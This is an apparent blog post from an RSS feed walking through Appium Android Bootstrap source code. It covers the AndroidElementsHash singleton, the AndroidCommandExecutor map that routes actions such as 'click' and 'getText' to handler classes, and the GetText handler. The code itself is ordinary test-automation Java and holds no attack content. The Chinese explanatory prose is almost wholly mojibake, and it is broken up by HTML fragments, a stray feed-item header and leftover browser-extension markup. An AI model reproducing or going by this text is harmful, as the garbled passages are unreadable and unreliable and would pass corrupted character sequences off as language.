銆銆杩?#28051;?#37725;?#29999;?#29723;?#37928;勯敭鍊奸兘鏄?#28000;??#32017;濮?#37928;?#38171;?#29831;风湅瀹?#37928;?#37835;?#38315;?#37713;?#37825;?#38171;?/div>
銆銆/**
銆銆* Constructor
銆銆*/
銆銆public AndroidElementsHash() {
銆銆counter = 0;
銆銆elements = new Hashtable<String, AndroidElement>();
銆銆}
銆銆鑰屽畠鍦?#37825;?#28051;狟ootstrap?#33105;鏄?#37832;?#28051;?#37721;?#37832;?#28051;涓?#28729;炰緥鐨?#38171;?#28051;旂湅瀹?#37928;勫崟渚嬫寮?#28729;炵幇锛?/div>
銆銆public static AndroidElementsHash getInstance() {
銆銆if (AndroidElementsHash.instance == null) {
銆銆AndroidElementsHash.instance = new AndroidElementsHash();
銆銆}
銆銆return AndroidElementsHash.instance;
銆銆}
銆銆浠?#28051;嬪鍔?#28051;涓?#37818;?#28000;?#37928;?#37826;规硶addElement鍏?#37714;嗘弿杩?#27996;?#28051;轰粈涔?#29831;counter鏄?#28051;涓?#38007;?#28583;?#37716;?#37928;刱ey锛?#28051;?#37828;?#23011;?#28051;?#37826;?#37721;戠幇鐨凙ndroidElement鎺?#28000;?#37928;刬d锛?/div>
銆銆public AndroidElement addElement(final UiObject element) {
銆銆counter++;
銆銆final String key = counter.toString();
銆銆final AndroidElement el = new AndroidElement(key, element);
銆銆elements.put(key, el);
銆銆return el;
銆銆}
銆浠嶢ppium鍙戣繃鏉?#37928;?#37818;?#28000;舵煡鎵?#37723;?#28000;?#28598;?#37826;瑰涓?#37714;?#28051;?#32491;?#38171;?/strong>
銆銆1. ?#27967;鎺熀浜嶢ppium Driver鏉?#37836;?#37813;?#38171;?#26473;欑?#23942;儏鍐?#28051;媋ppium鍙戣繃鏉?#37928;刯son鍛?#28000;?#37828;?#28051;嶅寘鍚?#37818;?#28000;?#37725;?#29999;?#29723;?#37928;勯敭鍊?#28103;伅鐨?/div>
銆銆WebElement addNote = driver.findElement(By.name("Add note"));


]]>Appium Android Bootstrap婧愮爜鍒?#37835;?#28052;嬪懡浠?#29785;?#37835;?#37813;?#29723;?/title><link>http://www.67529968.com/qileilove/archive/2014/12/23/421668.html</link><dc:creator>椤哄叾鑷劧EVO</dc:creator><author>椤哄叾鑷劧EVO</author><pubDate>Mon, 22 Dec 2014 16:25:00 GMT</pubDate><guid>http://www.67529968.com/qileilove/archive/2014/12/23/421668.html</guid><wfw:comment>http://www.67529968.com/qileilove/comments/421668.html</wfw:comment><comments>http://www.67529968.com/qileilove/archive/2014/12/23/421668.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.67529968.com/qileilove/comments/commentRss/421668.html</wfw:commentRss><trackback:ping>http://www.67529968.com/qileilove/services/trackbacks/421668.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">閫氳繃涓?#28051;绡?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">鏂囩珷</strong></u></a>銆?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Appium</strong></u></a> <a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Android</strong></u></a> <a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Bootstrap</strong></u></a>婧愮爜鍒?#37835;?#28052;?#37818;?#28000;禔ndroidElement銆?#37812;?#28000;煡閬?#27996;Appium浠巔c绔?#37721;戦佽繃鏉?#37928;勫懡浠?#28641;?#37835;?#37828;?#37818;?#28000;剁浉鍏?#37928;?#29831;?#38171;?#37832;缁?#37929;?#37837;?#37818;?#28000;?#37734;bootstrap?#33105;鏄?#28000;AndroidElement瀵硅薄鐨?#37826;?#23534;忓?#22562;幇鍑?#37833;?#37928;?#38171;屽苟涓?#29831;?#37818;?#28000;?#28725;硅薄?#32048;鍦AndroidElementHash缁存姢鐨?#37818;?#28000;?#37725;?#29999;?#29723;腑淇?#28699;樿捣鏉?#37510;備絾鏄痑ppium瑙?#37721;?#28051;涓?#37723;?#28000;?#38340;?#27996;?#38343;瑕佹彁渚?#37828;?#37722;?#28051;?#37818;?#28000;剁浉鍏?#26473;?#28051;?#28103;伅澶?#38171;?#26473;?#38343;瑕佸叾浠?#37928;?#28051;浜涗俊?#20229;锛屾?#26047;锛?#26473;?#28051;?#37828;?#28000;涔堝懡浠?#38171;?#26473;?#28051;?#28751;?#37828;?#37812;?#28000;?#26473;欑瘒鏂囩珷闇瑕?#29825;?#29825;?#37928;?#29831;?#26864;?#27996;?#37510;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆涓?#38344;?#37812;?#28000;?#26473;?#37828;?#37711;堢?#23337;竴涓嬩粠pc绔?#37721;戣繃鏉?#37928;刯son鐨?#37837;?#23534;忔槸鎬?#28052;?#37837;?#37928;?#38171;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=49982" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412110911451TEnd.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;" alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鍙?#28000;湅鍒伴?#23684;潰闄?#27996;params鎸?#28729;?#37928;?#37828;摢涓涓?#37818;?#28000;朵箣澶?#38171;?#26473;?#37816;?#28729;?#27996;?#37721;?#28598;?#28051;?#28051;?#28103;伅锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆cmd: 杩?#37828;?#28051;涓猘ction杩?#37828;?#28051;涓猻hutdown</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆action锛氬鏋?#37828;?#28051;涓猘ction鐨?#29831;?#38171;岄偅涔?#37828;?#28000;涔坅ction</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆?#32017;濮嬪墠鎴?#28000;?#37711;?#32480;瑕佹弿杩?#28051;?#37812;?#28000;?#38343;瑕佹秹鍙?#37714;?#37713;?#28051;?#37711;?#38335;?#32491;?#38171;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><font color="#202859"><span style="line-height: normal !important;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412110911452dLU9.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;" alt="" /></a></span></font><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><strong style="word-break: break-all;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">1. Appium鍛?#28000;?#29785;?#37835;?#37731;AndroidCommand</a></strong></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">銆銆AndroidCommand杩?#28051;?#32491;荤湡瀹?#37928;?#28003;?#37922;叾瀹?#28751;?#37828;?#37720;绘妸Appium浠巔c绔?#37721;戦佽繃鏉?#37928;勯偅涓json鍛?#28000;?#29785;?#37835;?#37713;?#37833;?#38171;屽畠鎷?#37832;?#28051;?#28051;?#37812;?#37723;?#37721;橀噺锛?/a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">銆銆JSONObject         json;</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">銆銆AndroidCommandType cmdType;</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">銆銆json灏?#37828;pc?#32323;鏉?#37928;刯son鏍?#23534;?#37928;勯偅涓?#37723;?#28000;?#38171;宑mdType灏?#37828;痑ction鎴?#38000;卻hutdown锛屽叾瀹?#28751;?#37828;?#37922;?#37833;妸杩?#28051;?#32491;?#28028;?#29761;?#37812;?#37831;村儚涓?#37723;?#28000;?#32491;昏?#23480;?#38171;屾?#25123;涓哄鏋?#28051;嶆彁渚?#26473;?#28051;?#37812;?#37723;?#37721;橀噺鑰岀洿鎺慨鏀瑰叾getType鐨?#28729;炵幇鍘?#29785;?#37835;json瀛?#28051;茬洿鎺?#38014;?#23536;?#28725;?#25652;?#37928;凙ndroidCommandType锛岀劧鍚庢妸杩?#28051;?#32491;?#37928;勫?#23941;瓧鏀规垚AndroidCommandParser寰?#27996;?#37510;?/a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">銆銆?#20549;涔堟垜浠?#23536;涓嬬?#23337;笅AndroidCommand绌剁珶鏄?#37804;?#28052;?#28725;?#28729;?#37812;风鍛?#28000;繘琛?#29785;?#37835;?#37928;?#38171;屽畠鐨?#37826;规硶?#20824;寰堢锛?#37813;浠?#37812;戞妸瀹冨仛鎴?#28051;涓?#29723;?#38171;?#26473;?#37837;?#23011;?#26440;?#23059;?#37829;?#37904;?#38171;?/a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px;"><font color="#202859"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412110911453mrzV.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;" alt="" /></a></font></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">銆銆浠?#29723;腑鐨勮繖浜?#37826;规硶鍙?#28000;湅鍑?#37833;?#38171;?#26473;?#28051;?#32491;绘墍?#20187;鐨?#27996;嬫儏?#29056;鏈?#28051;婇兘鏄?#37804;?#28052;堝幓瑙?#37835;恆ppium浠巔c绔繃鏉?#37928;勯偅涓json瀛?#28051;?#37510;?br /><br /></a><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank"><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆<strong style="word-break: break-all; line-height: normal !important;">銆2. Action涓嶤ommandHandler鐨?#37828;?#28751;?#37711;崇郴</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆浠?#28051;?#38344;弿杩?#37721;?#28000;煡閬?#38171;?#28051;涓猘ction灏?#37828;?#28051;涓?#28000;?#29723;?#29831;?#37723;?#28000;?#37928;勫瓧涓?#38171;屾?#26047;‘click’銆備絾鏄?#28051;涓?#28699;?#28051;?#37828;?#28051;嶈兘鍘绘墽琛?#37928;勫锛?#37813;浠?#37812;?#28000;?#38343;瑕?#37832;?#28051;绉?#37826;?#23534;忔妸瀹?#26462;?#37817;?#37812;?#37721;?#28000;?#37813;?#29723;?#37928;?#28000;爜锛?#26473;?#28051;?#28751;?#37828;AndroidCommandExecutor缁存姢鐨?#28051;涓?#38344;?#37804;丠ashMap map鎵?#20187;鐨?#27996;嬫儏锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">class AndroidCommandExecutor {</div><div style="word-break: break-all; margin: 10px 0px;">private static HashMap<String, CommandHandler> map = new HashMap<String, CommandHandler>();</div><div style="word-break: break-all; margin: 10px 0px;">static {</div><div style="word-break: break-all; margin: 10px 0px;">map.put("waitForIdle", new WaitForIdle());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("clear", new Clear());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("orientation", new Orientation());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("swipe", new Swipe());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("flick", new Flick());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("drag", new Drag());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("pinch", new Pinch());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("click", new Click());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchLongClick", new TouchLongClick());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchDown", new TouchDown());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchUp", new TouchUp());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchMove", new TouchMove());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getText", new GetText());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("setText", new SetText());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getName", new GetName());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getAttribute", new GetAttribute());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getDeviceSize", new GetDeviceSize());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("scrollTo", new ScrollTo());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("find", new Find());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getLocation", new GetLocation());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getSize", new GetSize());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("wake", new Wake());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("pressBack", new PressBack());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("pressKeyCode", new PressKeyCode());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("longPressKeyCode", new LongPressKeyCode());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("takeScreenshot", new TakeScreenshot());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("updateStrings", new UpdateStrings());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getDataDir", new GetDataDir());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("performMultiPointerGesture", new MultiPointerGesture());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("openNotification", new OpenNotification());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("source", new Source());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("compressedLayoutHierarchy", new CompressedLayoutHierarchy());</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆杩?#28051;map鎸?#28729;?#27996;?#37812;?#28000;敮鎸佺殑pc绔繃鏉?#37928;?#37813;鏈塧ction锛屼互鍙?#28725;?#25652;?#37928;?#28598;勭悊璇action鐨勭被鐨?#28729;炰緥锛屽叾瀹?#26473;?#27996;?#32491;婚兘鏄疌ommandHandler鐨勫?#24878;?#35826;熀鏈?#28051;?#28751;?#37721;?#37832;?#28051;涓?#38171;氬幓瀹炵幇CommandHandler鐨勮櫄鎷?#37826;规硶execute锛?#29781;佸仛鐨?#27996;嬫儏灏?#28598;?#22994;?#28751;?#26473;?#37713;犵被锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鎺?#28000;剁浉鍏?#37928;刟ction锛氳皟鐢AndroidElement鎺?#28000;?#37928;?#37812;?#37723;?#37721;橀噺UiObject el瀵?#25652;?#37928;?#37826;规硶鏉?#37813;?#29723;岀湡瀹?#37928;勬搷浣?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆UiDevice鐩?#37711;?#37928;刟ction锛氳皟鐢UiDevice?#24385;渚?#37928;?#37826;规硶</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆UiScrollable鐩?#37711;?#37928;刟ction锛氳皟鐢UiScrollable?#24385;渚?#37928;?#37826;规硶</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆UiAutomator?#20549;5涓?#28725;硅薄?#20824;?#30149;鏈?#37928;刟ction锛?#29831;皟鐢InteractionController鐨?#28751;?#37721;?#28751;勮皟鐢?#38171;?#29831;皟鐢QueryController鐨?#28751;?#37721;?#28751;勮皟鐢?#37510;傛敞鎰?#26473;?#28051;?#28051;?#32491;籙iAutomator鏄病鏈夋彁渚涚洿鎺皟鐢?#37928;?#37826;规硶鐨?#38171;?#37813;浠?#37721;兘閫氳繃鍙?#28751;?#37510;傛洿澶?#26473;?#28051;?#28051;?#32491;?#37928;?#28103;伅璇风?#33636;?#23337;?#23338;墠鐨刄iAutomator婧愮爜鍒?#37835;愮浉鍏?#37928;?#37826;囩珷</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆?#21502;浠?#38171;氬鍙?#23536;compressedLayoutHierarchy</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鎸?#28725;action鍚慍ommandHandler鐪熸鍙?#37922;?#26462;?#37817;?#37928;?#37734;?#37826;规槸鍦?#26473;?#28051;狝ndroidCommandExecutor鐨別xecute鏂规硶?#33105;锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">public AndroidCommandResult execute(final AndroidCommand command) {</div><div style="word-break: break-all; margin: 10px 0px;">try {</div><div style="word-break: break-all; margin: 10px 0px;">Logger.debug("Got command action: " + command.action());</div><div style="word-break: break-all; margin: 10px 0px;">if (map.containsKey(command.action())) {</div><div style="word-break: break-all; margin: 10px 0px;">return map.get(command.action()).execute(command);</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">return new AndroidCommandResult(WDStatus.UNKNOWN_COMMAND,</div><div style="word-break: break-all; margin: 10px 0px;">"Unknown command: " + command.action());</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">} catch (final JSONException e) {</div><div style="word-break: break-all; margin: 10px 0px;">Logger.error("Could not decode action/params of command");</div><div style="word-break: break-all; margin: 10px 0px;">return new AndroidCommandResult(WDStatus.JSON_DECODER_ERROR,</div><div style="word-break: break-all; margin: 10px 0px;">"Could not decode action/params of command, please check format!");</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆瀹?#26851;?#37711;?#37721;?#28051;?#38344;?#37928;凙ndroidCommand瑙?#37835;?#37731;妸json瀛?#28051;茬殑action缁?#29785;?#37835;?#37713;?#37833;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆?#21159;鍚?#38315;氳繃鍒氭彁鍒?#37928;map?#22968;杩?#28051;猘ction瀵?#25652;?#37928;凜ommandHandler鐨?#28729;炵幇绫?#32513;?#28729;?#28186;嬪寲</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆?#21159;鍚庤皟鐢?#26473;?#28051;?#37723;?#28000;?#28598;勭悊绫?#37928;別xecute鏂规硶?#32017;濮?#37813;?#29723;屽懡浠?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆<strong style="word-break: break-all; line-height: normal !important;">3. 鍛?#28000;?#28598;勭?#21977;?#36720;緥</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鎴?#28000;?#26473;?#38322;屽氨绀轰緥鎬?#37928;勭?#23337;笅getText杩?#28051;猘ction瀵?#25652;?#37928;凜ommandHandler鏄?#37804;?#28052;堝幓閫氳繃AndroidElement鎺?#28000;惰繘琛?#29825;?#32515;?#37826;?#37832;?#37928;?#28598;勭悊鐨?#38171;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">public class GetText extends CommandHandler {</div><div style="word-break: break-all; margin: 10px 0px;">/*</div><div style="word-break: break-all; margin: 10px 0px;">* @param command The {@link AndroidCommand} used for this handler.</div><div style="word-break: break-all; margin: 10px 0px;">*</div><div style="word-break: break-all; margin: 10px 0px;">* @return {@link AndroidCommandResult}</div><div style="word-break: break-all; margin: 10px 0px;">*</div><div style="word-break: break-all; margin: 10px 0px;">* @throws JSONException</div><div style="word-break: break-all; margin: 10px 0px;">*</div><div style="word-break: break-all; margin: 10px 0px;">* @see io.appium.android.bootstrap.CommandHandler#execute(io.appium.android.</div><div style="word-break: break-all; margin: 10px 0px;">* bootstrap.AndroidCommand)</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">@Override</div><div style="word-break: break-all; margin: 10px 0px;">public AndroidCommandResult execute(final AndroidCommand command)</div><div style="word-break: break-all; margin: 10px 0px;">throws JSONException {</div><div style="word-break: break-all; margin: 10px 0px;">if (command.isElementCommand()) {</div><div style="word-break: break-all; margin: 10px 0px;">// Only makes sense on an element</div><div style="word-break: break-all; margin: 10px 0px;">try {</div><div style="word-break: break-all; margin: 10px 0px;">final AndroidElement el = command.getElement();</div><div style="word-break: break-all; margin: 10px 0px;">return getSuccessResult(el.getText());</div><div style="word-break: break-all; margin: 10px 0px;">} catch (final UiObjectNotFoundException e) {</div><div style="word-break: break-all; margin: 10px 0px;">return new AndroidCommandResult(WDStatus.NO_SUCH_ELEMENT,</div><div style="word-break: break-all; margin: 10px 0px;">e.getMessage());</div><div style="word-break: break-all; margin: 10px 0px;">} catch (final Exception e) { // handle NullPointerException</div><div style="word-break: break-all; margin: 10px 0px;">return getErrorResult("Unknown error");</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">return getErrorResult("Unable to get text without an element.");</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鍏?#38335;?#28000;爜灏?#37828;?#38322;岄潰閫氳繃AndroidCommand鐨刧etElement鏂规硶锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆瑙?#37835;?#28028;犺繘鏉?#37928;凙ndroidCommand瀹?#28186;嬩繚?#29928;鐨刾c绔繃鏉?#37928;刯son瀛?#28051;?#38171;?#37813;?#37714;?#8217;params‘椤?#37928;勫瓙椤?#8217;elementId'</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆閫氳繃杩?#28051;?#38014;?#23536;?#37928;刬d鍘绘帶浠?#37725;?#29999;?#29723;?#38171;?#29831;锋煡?#28229;銆夾ppium Android Bootstrap婧愮爜鍒?#37835;?#28052;?#37818;?#28000;禔ndroidElement銆?#38171;変腑鎵?#37714;?#37929;?#37837;嘇ndroidElement鎺?#28000;?#28725;硅薄</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆?#21159;鍚庤皟鐢?#38014;?#23536;?#37928;凙ndroidElement鎺?#28000;?#28725;硅薄鐨刧etText鏂规硶锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鏈缁?#38315;氳繃?#30367;鐢AndroidElement鎺?#28000;?#37812;?#37723;UiObject鎺?#28000;?#28725;硅薄鐨刧etText鏂规硶鍙?#23536;?#37818;?#28000;?#37826;?#37832;?#28103;伅</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆<strong style="word-break: break-all; line-height: normal !important;">銆4. 灏?#32513;?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆bootstrap鎺敹鍒癮ppium浠巔c绔?#37721;戦佽繃鏉?#37928;刯son鏍?#23534;?#37928;勯敭鍊?#28725;瑰瓧涓?#37832;?#28598;?#28051;?#26916;?#38171;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆cmd: 杩?#37828;?#28051;涓猘ction杩?#37828;?#28051;涓猻hutdown</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆action锛氬鏋?#37828;?#28051;涓猘ction鐨?#29831;?#38171;岄偅涔?#37828;?#28000;涔坅ction锛屾?#26047;?#20450;lick</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆params:鎷?#37832;夊叾浠?#37928;?#28051;浜涘瓙椤?#38171;屾?#26047;鎸?#28729;氭搷浣?#37818;?#28000;?#37734;AndroidElementHash缁存姢鐨?#37818;?#28000;?#37725;?#29999;?#29723;?#37928;?#37818;?#28000;堕敭鍊?#37928;?elementId'</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鍦敹鍒?#26473;?#28051;猨son鏍?#23534;忓懡浠?#28699;?#28051;?#37722;?#38171;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆AndroidCommandExecutor?#32048;?#30367;鐢AndroidCommand鍘?#29785;?#37835;?#37713;哄搴?#37928;刟ction</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆?#21159;鍚庢妸action鍘籱ap鍒?#28725;?#25652;?#37928;勭湡瀹?#37723;?#28000;?#28598;勭悊鏂规硶CommandHandler鐨?#28729;炵幇瀛愮?#35826;?#30789;薄?#33105;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆?#21159;鍚庤皟鐢?#28725;?#25652;?#37928;勫?#30789;薄鐨別xecute鏂规硶鏉?#37813;?#29723;屽懡浠?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">鐩?#37711;?#37826;囩珷锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">Appium Android Bootstrap婧愮爜鍒?#37835;?#28052;嬬畝浠?/div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">Appium Android Bootstrap涔?#37818;?#28000;禔ndroidElement</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; width: 182px; height: 32px; display: inline-block; position: relative; background: url(http://www.51testing.com/wx.jpg) no-repeat;"></div></a></div></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: block; left: 552px; top: 2965px; opacity: 0.4; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English »</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option 